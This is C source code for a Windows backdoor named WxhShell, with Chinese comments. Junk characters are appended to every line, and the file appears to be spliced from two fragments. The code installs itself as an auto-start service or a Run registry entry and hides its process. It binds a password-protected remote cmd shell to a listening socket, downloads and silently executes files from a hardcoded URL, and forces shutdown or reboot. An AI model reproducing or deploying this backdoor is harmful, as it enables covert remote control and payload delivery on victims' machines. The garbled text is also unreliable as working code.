    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y]|:?G7l]  
    if(Boot(SHUTDOWN)) ecJ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vdDludEv  
    else { Mj=$y?d ]  
    closesocket(wsh); fnKY1y]2+  
    ExitThread(0); Z)9g~g94  
    } {svn=H /  
    break; revF;l6->C  
    } w~R`D  
  // 获取shell G9P!_72  
  case 's': { a&{X!:X  
    CmdShell(wsh); Z;Rp+ X  
    closesocket(wsh); SlLw{Yb7\.  
    ExitThread(0); ]q5`YB%_  
    break; 5+Mdh`  
  } [P4$Khu$  
  // 退出 4674SzL  
  case 'x': { #:x4DvDkR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b^c9po  
    CloseIt(wsh); Scm36sT{  
    break; p{dwZ_gl  
    } S"mcUU}}  
  // 离开 kUx&pYv  
  case 'q': { abNV4 ,M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AdZ;j6#  
    closesocket(wsh); FbnO/! $8  
    WSACleanup(); T=a=B(  
    exit(1); jVgFZ,  
    break; (m[bWdANnW  
        } {%v-(  
  } ^-CINt{O  
  } HBE.F&C88  
GV6K/T :  
  // 提示信息 ]'~vI/p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `~UZU@/x  
} )&{K~i;:  
  } 5F|8?BkOL^  
x_!0.SU  
  return; y;?ie]3G  
} @XD+'{]  
L%}zVCg  
// shell模块句柄 P|2E2=G  
int CmdShell(SOCKET sock) 2O"P2(1}v  
{ ~n')&u{  
STARTUPINFO si; 9vNkZ-1  
ZeroMemory(&si,sizeof(si)); v4miU;|\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wjh/M&,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p,pR!qC>  
PROCESS_INFORMATION ProcessInfo; ;|p$\26S)%  
char cmdline[]="cmd"; Ch()P.n?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wfvU0]wk}  
  return 0; 8 #X5K  
} kc'pN&]r:  
"1q>At  
// 自身启动模式 CxhY$%C (L  
int StartFromService(void) +bK.NcS  
{ e7fiGl  
typedef struct qrvsjYi*w  
{ 0qjXQs}  
  DWORD ExitStatus; vkS)E0s  
  DWORD PebBaseAddress; uV-'~8  
  DWORD AffinityMask; .O*bILU  
  DWORD BasePriority; 2-zT$`[]J  
  ULONG UniqueProcessId; 5 )2:stT73  
  ULONG InheritedFromUniqueProcessId; =@u 5|:  
}   PROCESS_BASIC_INFORMATION; `s '#  
5WqXo{S  
PROCNTQSIP NtQueryInformationProcess; t#nn@Yf  
JxLf?ad.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iq+>qX   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6qe*@o  
p_ Fy >j  
  HANDLE             hProcess; aw ?=hXR!  
  PROCESS_BASIC_INFORMATION pbi; =Cv/Y%DN  
Uw-p758dD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k *R<,  
  if(NULL == hInst ) return 0; 7:]Pl=:X  
q'oMAMf}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sx*oo{Kk%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !|2VWI}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;o/>JHGj  
2M)]!lYy  
  if (!NtQueryInformationProcess) return 0; obK*rdg ,  
wdzOFDA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bb&^ {7  
  if(!hProcess) return 0; &2-L. Xb  
I fO;S*Qt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M,j(=hRJ/E  
Vh3Ijn  
  CloseHandle(hProcess); H7+X&#s%  
y5= `ap  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jNwjK0?  
if(hProcess==NULL) return 0; 6b8;}],|  
=H0vE7{*  
HMODULE hMod; <";,GaZQ  
char procName[255]; 1%M&CX  
unsigned long cbNeeded; " +KJop  
$(s\{(Wn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); , "jbq~  
*O:r7_ Y0  
  CloseHandle(hProcess); W$JebW<z(  
n}A\2bO  
if(strstr(procName,"services")) return 1; // 以服务启动 4fh^[\  
It_M@  
  return 0; // 注册表启动 ~mV"i7VX  
} TUL_TR  
]DFXPV  
// 主模块 NT%W;)6m9  
int StartWxhshell(LPSTR lpCmdLine) :H.   
{ 71#I5*8  
  SOCKET wsl; eZ a:o1y  
BOOL val=TRUE;  g]*  
  int port=0; ogM%N  
  struct sockaddr_in door; |{g+Y  
2y0J`!/)  
  if(wscfg.ws_autoins) Install(); kH*Pn'  
*fO3]+)d+  
port=atoi(lpCmdLine); 3>zN/ f  
D0Z\Vvy  
if(port<=0) port=wscfg.ws_port; *y`%]Hy<  
m,3er*t{  
  WSADATA data; 7Y=cn_ wU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NIZ<0I*5  
k.h`Cji@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   78n=nHS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U5Erm6U:  
  door.sin_family = AF_INET; HDM<w+ZxX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aRj>iQaddx  
  door.sin_port = htons(port); DG(7|`(aY  
y<W8Q<9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5_K5?N  
closesocket(wsl); R~L0{` 0  
return 1; ~:;3uL s,8  
} dN Y"]b  
ocwG7J\W  
  if(listen(wsl,2) == INVALID_SOCKET) { F9c`({6k  
closesocket(wsl); M"=n>;*X  
return 1; @ \.;b9  
} L^kp8o^$  
  Wxhshell(wsl); VeiElU3  
  WSACleanup(); ydl jw  
(A k\Lm  
return 0; Ue5O9;y]u  
(J$\-a7<f  
} VCNT4m  
pvWau1ArNq  
// 以NT服务方式启动 )G^TW'9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5`^o1nGO'  
{ tury<*  
DWORD   status = 0; a<XCNTaVT  
  DWORD   specificError = 0xfffffff; -P=g3Q i  
B,$l4m4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :@ uIxa$[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n[xkSF^)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +%J\y^09kr  
  serviceStatus.dwWin32ExitCode     = 0; dxxD%lHCF  
  serviceStatus.dwServiceSpecificExitCode = 0; BpRQG]L  
  serviceStatus.dwCheckPoint       = 0;  Trm)7B*  
  serviceStatus.dwWaitHint       = 0; 8%2*RKj  
91`biVZfA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !PJ;d)\T  
  if (hServiceStatusHandle==0) return; F5:4 B]ZF  
J?u",a]|H"  
status = GetLastError(); wvsTP32]  
  if (status!=NO_ERROR) /6b(w=pk  
{ A'p"FYlCW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1z0&+C3z  
    serviceStatus.dwCheckPoint       = 0; lB.P   
    serviceStatus.dwWaitHint       = 0; , )u}8ty3j  
    serviceStatus.dwWin32ExitCode     = status; G23Mr9m5O  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,NPU0IDG>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %TvunV7NQS  
    return; !uy?]l  
  } _~fO8_vr  
C KBLM2 D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ':kBHCR7  
  serviceStatus.dwCheckPoint       = 0; !G Z2|~f9  
  serviceStatus.dwWaitHint       = 0; u3w `(3{ <  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9T`xW]Zf  
} A: 0  
TdG[b1xN  
// 处理NT服务事件,比如:启动、停止 ^s_E|~U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y)?4OB=n  
{ +);o{wfW  
switch(fdwControl) O=G2bdY{,  
{ S\MD]>4  
case SERVICE_CONTROL_STOP: #c./<<P5}  
  serviceStatus.dwWin32ExitCode = 0; r"zW=9 O=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o#4Wn'E  
  serviceStatus.dwCheckPoint   = 0; b8feo'4Z   
  serviceStatus.dwWaitHint     = 0; cg}46)^<QH  
  { !nU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2P"@=bYT"  
  } 7a-> "W  
  return; *(& J^  
case SERVICE_CONTROL_PAUSE: Wi'BX#xCB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :DR G=-M  
  break; 8~Rja  
case SERVICE_CONTROL_CONTINUE: vFV->/u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N|WnUlf]:  
  break; mAX]m1s  
case SERVICE_CONTROL_INTERROGATE: Yono8M;9*  
  break; {uDL"~^\  
}; oy;N3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )jn|+M  
} iEsI  
Z: &"Ax  
// 标准应用程序主函数 r9yUye}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Jq@p_T"  
{ eN,s#/ip]  
0 jVuF l  
// 获取操作系统版本 >Czcs=(L.k  
OsIsNt=GetOsVer(); ZL+{?1&-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?A8Uf=  
f>;5ZE4Zu  
  // 从命令行安装 :2 n5;fp  
  if(strpbrk(lpCmdLine,"iI")) Install(); |rq~.cA  
GQ$0`?lp  
  // 下载执行文件 ? Ls]k  
if(wscfg.ws_downexe) { _( 0!bUs>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \V7Hi\)  
  WinExec(wscfg.ws_filenam,SW_HIDE); tV[?WA[xt  
} IhJ _Yed  
aL-V9y  
if(!OsIsNt) { SrN0f0  
// 如果时win9x,隐藏进程并且设置为注册表启动 i6h:%n]Io  
HideProc(); svU107?  
StartWxhshell(lpCmdLine); Rl=NVo  
} XqyfeY5t  
else Yc"G="XP;  
  if(StartFromService()) WvAl!^{`  
  // 以服务方式启动 Y\%R6/Gj|u  
  StartServiceCtrlDispatcher(DispatchTable); X. UN=lu  
else 0;!aO.l]K  
  // 普通方式启动 Y GO ;wIS  
  StartWxhshell(lpCmdLine); Zdr +{-  
WLDt5R  
return 0; qusgX;)  
} ?$ Uk[  
VrQw;-rQ  
V. 1sb pI  
sog?Mvoq  
=========================================== KG4~t=J`  
*NFy%ktu  
:>Z0Kb}7  
-XPGl  
?N,a {#w  
.J&NM(qeZ  
" nC_<pq^tr  
E$ F)z  
#include <stdio.h> gG*O&gQY  
#include <string.h> e@L+z  
#include <windows.h> Kcsje_I-M  
#include <winsock2.h> F2z^7n.S  
#include <winsvc.h> ky#<\K1}'  
#include <urlmon.h> E{wVf_K  
/(W{`  
#pragma comment (lib, "Ws2_32.lib") ~ W52Mbf  
#pragma comment (lib, "urlmon.lib") /UN%P2>^1  
K)_0ej~C  
#define MAX_USER   100 // 最大客户端连接数 d,8V-Dk+p  
#define BUF_SOCK   200 // sock buffer '+f!(teLz  
#define KEY_BUFF   255 // 输入 buffer PcM:0(,G  
NO`LSF  
#define REBOOT     0   // 重启 )#xd]~ <  
#define SHUTDOWN   1   // 关机 A;SRm<,  
X'7 T"5!  
#define DEF_PORT   5000 // 监听端口 jcXb@FE6  
E 7;KG^  
#define REG_LEN     16   // 注册表键长度 ` *$^rQS  
#define SVC_LEN     80   // NT服务名长度 wW6?.}2zU  
bxrByu~|1  
// 从dll定义API ?mG ?N(t/h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yoGE#+|7^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); riFE.;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xot q$r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $`{}4,5M  
B&-;w_K  
// wxhshell配置信息 S4~^HvMG[Y  
struct WSCFG { ] A<\ d  
  int ws_port;         // 监听端口 ]L}<Y9)t  
  char ws_passstr[REG_LEN]; // 口令 0t/S_Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no SY>N-fW\H:  
  char ws_regname[REG_LEN]; // 注册表键名  4>0xS -  
  char ws_svcname[REG_LEN]; // 服务名 :bLGDEC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B 8C3LP}?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %QwMB`x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *M"lUw#(f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G1$DV Go  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /5U?4l(6[f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OFQsfW3O  
l]oGhM;  
}; #/\FB'zC  
s8 .oS);`  
// default Wxhshell configuration JOenVepQ,  
struct WSCFG wscfg={DEF_PORT, (a&.Ad0{  
    "xuhuanlingzhe", &NHIX(b6  
    1, KXicy_@DC`  
    "Wxhshell", axXA y5  
    "Wxhshell", &&_W,id`  
            "WxhShell Service", vlEd=H,LT  
    "Wrsky Windows CmdShell Service", 5OpK~f5  
    "Please Input Your Password: ", /x0zZ+}V  
  1, pOnZ7(  
  "http://www.wrsky.com/wxhshell.exe", >"zSW?  
  "Wxhshell.exe" M ;\K+,  
    }; f{* G%  
oE-i`;\8  
// 消息定义模块 0BxO75m}o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @105 @9F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s7a\L=#p(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bk?MF6  
char *msg_ws_ext="\n\rExit."; ',J3^h!b  
char *msg_ws_end="\n\rQuit."; DC[ -<:B  
char *msg_ws_boot="\n\rReboot..."; Rqvm%sAi  
char *msg_ws_poff="\n\rShutdown..."; k\HRG@ /G  
char *msg_ws_down="\n\rSave to "; Ji%T|KR_  
z'fGHiX7.0  
char *msg_ws_err="\n\rErr!"; crZ\:LeJ  
char *msg_ws_ok="\n\rOK!"; F =d L#@^  
1eiH%{w  
char ExeFile[MAX_PATH]; (nvSB}?  
int nUser = 0; )|Y"^K%Jm  
HANDLE handles[MAX_USER]; BR"*-$u0;  
int OsIsNt; ;rd!kFd#bq  
|}'}TYX0:  
SERVICE_STATUS       serviceStatus; (Ozb+W?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sx*(JM}Be  
T'f E4}rY  
// 函数声明 Jw;J$ u!d  
int Install(void); ~w4aA<2Uq  
int Uninstall(void); >Mi A|N=  
int DownloadFile(char *sURL, SOCKET wsh); t=A| K    
int Boot(int flag); D&Ngg)_Mq  
void HideProc(void); X#+A?>Z]}<  
int GetOsVer(void); O6k[1C  
int Wxhshell(SOCKET wsl); U/0NN>V  
void TalkWithClient(void *cs); j_p.KF'[?  
int CmdShell(SOCKET sock); Lrr6z05FQ  
int StartFromService(void); r&Za*TD^  
int StartWxhshell(LPSTR lpCmdLine); [x-Z)Q. 5  
r(i<H%"Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U/|B IF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $\m=-5 0-  
+w GE  
// 数据结构和表定义 ZaXK=%z  
SERVICE_TABLE_ENTRY DispatchTable[] = hMi!H.EX.  
{ :~U1JAs$  
{wscfg.ws_svcname, NTServiceMain}, 8oN4!#:  
{NULL, NULL} |wVoJO!O}  
}; DRf~l9f  
f,`FbT  
// 自我安装 nSgg'I(  
int Install(void) AB}Qd\  
{ 4lvo9R  
  char svExeFile[MAX_PATH]; NoZz3*j=  
  HKEY key; &e3z)h  
  strcpy(svExeFile,ExeFile); * C's7O{O  
^'v6 ,*:4  
// 如果是win9x系统,修改注册表设为自启动 9I30ULm  
if(!OsIsNt) { !4I?59  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =NyzX&H6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b\]"r x (  
  RegCloseKey(key); BjOrQAO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?ix0n,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ukq9Cjs  
  RegCloseKey(key); HRx#}hN?+  
  return 0; Me5umA  
    } Yg2z=&p-{"  
  } b^hCm`2w*  
} 3]xnKb|W  
else { j(Q$frI  
'#u2q=n4*  
// 如果是NT以上系统,安装为系统服务 bs%]xf ~D;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3<fJ5-z|-  
if (schSCManager!=0) $_)YrqSo~  
{ $. V(_  
  SC_HANDLE schService = CreateService )-9|3`  
  ( 0FTiTrTn  
  schSCManager, Dtd bQF  
  wscfg.ws_svcname, K"-N:OV  
  wscfg.ws_svcdisp, ?:n{GK  
  SERVICE_ALL_ACCESS, `Rj i=k>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /:awPYGH<1  
  SERVICE_AUTO_START, U@Aq@d+n  
  SERVICE_ERROR_NORMAL, s8eiq`6\H}  
  svExeFile, du'$JtZo  
  NULL, b2p<!?  
  NULL, #Kn7 xn[  
  NULL, m{+lG*  
  NULL, a[9;Okm #  
  NULL m\@Q/_ v  
  ); 6LvUi|~"<  
  if (schService!=0) i Cv &<C@  
  { bIWcL$}4Q  
  CloseServiceHandle(schService); jN5Sc0|b  
  CloseServiceHandle(schSCManager); /hI#6k8o_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %R&3v%$y*  
  strcat(svExeFile,wscfg.ws_svcname); O8dDoP\F2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zq1&MXR)l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tQ2*kE  
  RegCloseKey(key); "OK(<x]3;>  
  return 0; }[i35f[w  
    } Iun!r v  
  } A9lqVMp64  
  CloseServiceHandle(schSCManager); g3x192f  
} cMK6   
} 3)dT+lZ  
jh8%Xu]t  
return 1; L ~ 1Lv?  
} % qAhE TZ%  
dHOz;4_  
// 自我卸载 eh)J'G]G  
int Uninstall(void) &V$'{  
{ Yq5}r?N  
  HKEY key; xsAF<:S\  
d5zzQ]|L  
if(!OsIsNt) { #UXmTrZ.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V?Nl%M[b  
  RegDeleteValue(key,wscfg.ws_regname); % )|/s %W  
  RegCloseKey(key); 162qxR[.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MX9 q )(:  
  RegDeleteValue(key,wscfg.ws_regname); &+sO"j4<?r  
  RegCloseKey(key); m+uh6IqN./  
  return 0; eJy@N  
  } )k7`!@ID  
} KCCS7l/  
} 03rZz1  
else { 4Nq n47|>e  
Nw|Lrn*h!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +9h6{&yr1  
if (schSCManager!=0) .s2d  
{ )Ba^Igb}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q5OW1%  
  if (schService!=0) yY&(?6\{<<  
  { ~CM{?{z;  
  if(DeleteService(schService)!=0) { jpBE| Nm  
  CloseServiceHandle(schService); Rj E,Wn  
  CloseServiceHandle(schSCManager); h+$_:](PC  
  return 0; ,:L}S03k  
  } y*7ht{B  
  CloseServiceHandle(schService); OEAF.  
  } xaeY^"L  
  CloseServiceHandle(schSCManager); Y<0f1N  
} ]AHi$Xx  
}  |u$AzI  
z%;\q$  
return 1; uF^+}Y ZT  
} oW/&X5  
pP".?|n  
// 从指定url下载文件 h hd n9n  
int DownloadFile(char *sURL, SOCKET wsh) r!x^P=f,MJ  
{ 2"i<--Y  
  HRESULT hr; ,cm2uY  
char seps[]= "/"; @Sv  ?Ar  
char *token; <B`=oO%o  
char *file; ucA6s:!={  
char myURL[MAX_PATH]; wCI.jGSBW  
char myFILE[MAX_PATH]; liU=5 BL  
MA1,;pv6  
strcpy(myURL,sURL); m' aakq  
  token=strtok(myURL,seps); 4ErDGYg}  
  while(token!=NULL) HV?awc  
  { AN.`tv  
    file=token; }7C{:H2d  
  token=strtok(NULL,seps); VKs$J)6  
  } >2v_fw  
| z('yy$  
GetCurrentDirectory(MAX_PATH,myFILE);  vG  
strcat(myFILE, "\\"); <~Y4JMr"  
strcat(myFILE, file); G A7  
  send(wsh,myFILE,strlen(myFILE),0); c?opVbJB\  
send(wsh,"...",3,0); h]zx7zt-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I|`K;a  
  if(hr==S_OK) \dfq& oyU\  
return 0; @*c+`5)_  
else gB0)ec 0  
return 1; Q% dpGI  
\]r{73C  
} {?j|]j  
h{h=',o1  
// 系统电源模块 I{RktO;1  
int Boot(int flag) (te \!$  
{ n&Al~-Q:^  
  HANDLE hToken; 2>H\arEstR  
  TOKEN_PRIVILEGES tkp; f5yd2wKy6  
hwXp=not(  
  if(OsIsNt) { {2q   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "@f`O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oF*Y$OEu?c  
    tkp.PrivilegeCount = 1; 2R5]UR S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3'']q3H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N..u<06j/  
if(flag==REBOOT) { ^X_%e|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lRO8}XSI  
  return 0; J,q:  
} > *_?^F_  
else { s0`uSQ2X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a v`eA`)S  
  return 0; V3`*LU  
} #h&?wE>  
  } ~M\s!!t3  
  else { l s_i)X  
if(flag==REBOOT) { OE[/sv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '@W72ML.  
  return 0; B;-oa;m:E=  
} /stED{j,  
else { '!Sj]+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vx ,yz+yP  
  return 0; $rlIJwqn  
} kPxEGuL'  
} -meKaQv  
[lnN~#(Y  
return 1; h?R-t*G?  
} o/[NUQSI  
eR}d"F4W  
// win9x进程隐藏模块 k\%{1oRA  
void HideProc(void) QK@z##U  
{ NT-du$! u  
Xr~r`bR=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FINM4<s)  
  if ( hKernel != NULL ) gr7W&2x7\  
  { T|}HK]QOX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '}OrFN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {66vdAu&h<  
    FreeLibrary(hKernel); Z$pR_dazU  
  } 0\mM^+fO  
*(HH71Y  
return; I{2e0  
} }8FP5Z'Cf%  
Lr+2L_/v`  
// 获取操作系统版本 MKH7d/x  
int GetOsVer(void) Jsw<,uT D  
{ ybB}|4d&   
  OSVERSIONINFO winfo; 9XoKOR(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %TR->F  
  GetVersionEx(&winfo); p]>bN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `=\G>#p<T  
  return 1;  CZuxH  
  else MBg^U<t8  
  return 0; 2AlLcfAW  
} g$:2c7uL  
M'g4alS  
// 客户端句柄模块 ]]]7"a  
int Wxhshell(SOCKET wsl) PC3wzJ\\S  
{ YZnrGkQ  
  SOCKET wsh; @!F9}n AP  
  struct sockaddr_in client; PffwNj/l  
  DWORD myID; vCi:c Ip/  
Q;Oc# u  
  while(nUser<MAX_USER) $]hf2Yr(  
{ Onk~1ks:  
  int nSize=sizeof(client); !"1bV [^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }%:?s6Ler  
  if(wsh==INVALID_SOCKET) return 1; -7yX>Hjl  
Y /w vn8~C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 36j.is  
if(handles[nUser]==0) 8pk5[=3Z  
  closesocket(wsh); KYeA=  
else 69L s"e  
  nUser++; f.u{;W  
  } 0!?f9kJq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &"CS1P|  
*yJb4uALB  
  return 0; [Z[)hUXE?  
} %ZxKN;  
H37Z\xS  
// 关闭 socket tC&y3!k2jR  
void CloseIt(SOCKET wsh) HnpGPGz@F  
{ k'\RS6M`L  
closesocket(wsh); {vU '>pp  
nUser--; A^m hPBT_  
ExitThread(0); $)uQ%/DH>  
} GC{Ys|s  
& v`kyc  
// 客户端请求句柄 T<ua0;7  
void TalkWithClient(void *cs) vdo[qk\C  
{ (z.Vwl5  
/@ OGYYH,M  
  SOCKET wsh=(SOCKET)cs; c.XLEjV|  
  char pwd[SVC_LEN]; h(zi$V  
  char cmd[KEY_BUFF]; HY42G#^  
char chr[1]; "C.$qk]  
int i,j; 'z\F-Ttq  
ar{e<&Bny  
  while (nUser < MAX_USER) { Ylf6-FbF  
{7;T Q?/  
if(wscfg.ws_passstr) { `ybZE+S.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j9,X.?Xvx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M\]E;C'"U  
  //ZeroMemory(pwd,KEY_BUFF); Ky=&C8b<  
      i=0; a#{a{>  
  while(i<SVC_LEN) { nQgn^z#  
B[*i}k%i  
  // 设置超时 g5?Fo%W  
  fd_set FdRead; D?E5p.!A  
  struct timeval TimeOut; A76=^ iw  
  FD_ZERO(&FdRead); (O&b:D/Y  
  FD_SET(wsh,&FdRead); 7j]@3D9[:p  
  TimeOut.tv_sec=8; 6D+9f{~r  
  TimeOut.tv_usec=0; d EXw=u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LO2sP"9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6m{3GKaW~  
Z# :Ww  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B^OhL!*tI  
  pwd=chr[0]; -8TLnl~[  
  if(chr[0]==0xd || chr[0]==0xa) { O 8fh'6  
  pwd=0; }{ P}P}  
  break; g,1\Gj%y  
  } 2{%BQq>C  
  i++; ugL$W@   
    } [m4<j  
DS^Q0 f  
  // 如果是非法用户,关闭 socket xo*a9H?@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e5AiIVlv  
} ^ yfT7050  
}b{N[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R"tLu/Sn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p'R}z|d)  
#A|M NJ%m  
while(1) { PeG8_X}u9  
+XQS -=  
  ZeroMemory(cmd,KEY_BUFF); [k.<x'#  
Ltu;sw  
      // 自动支持客户端 telnet标准   |+[ bKqI5  
  j=0; @1kA%LLK  
  while(j<KEY_BUFF) { ){,8}(|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9SU;c l  
  cmd[j]=chr[0]; VfQSfNsi  
  if(chr[0]==0xa || chr[0]==0xd) { 9iv!+(ni  
  cmd[j]=0; | 0&~fY  
  break; Bp b_y;E  
  } jbG #__#_  
  j++; :_vf1>[  
    } _kar5B$  
-m-~  
  // 下载文件 x&7!m  
  if(strstr(cmd,"http://")) { PsTwJLY   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p{88v3b6  
  if(DownloadFile(cmd,wsh)) "eBpSV>nnQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWEqy+,Fjw  
  else jirxzj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v_b%2;<1  
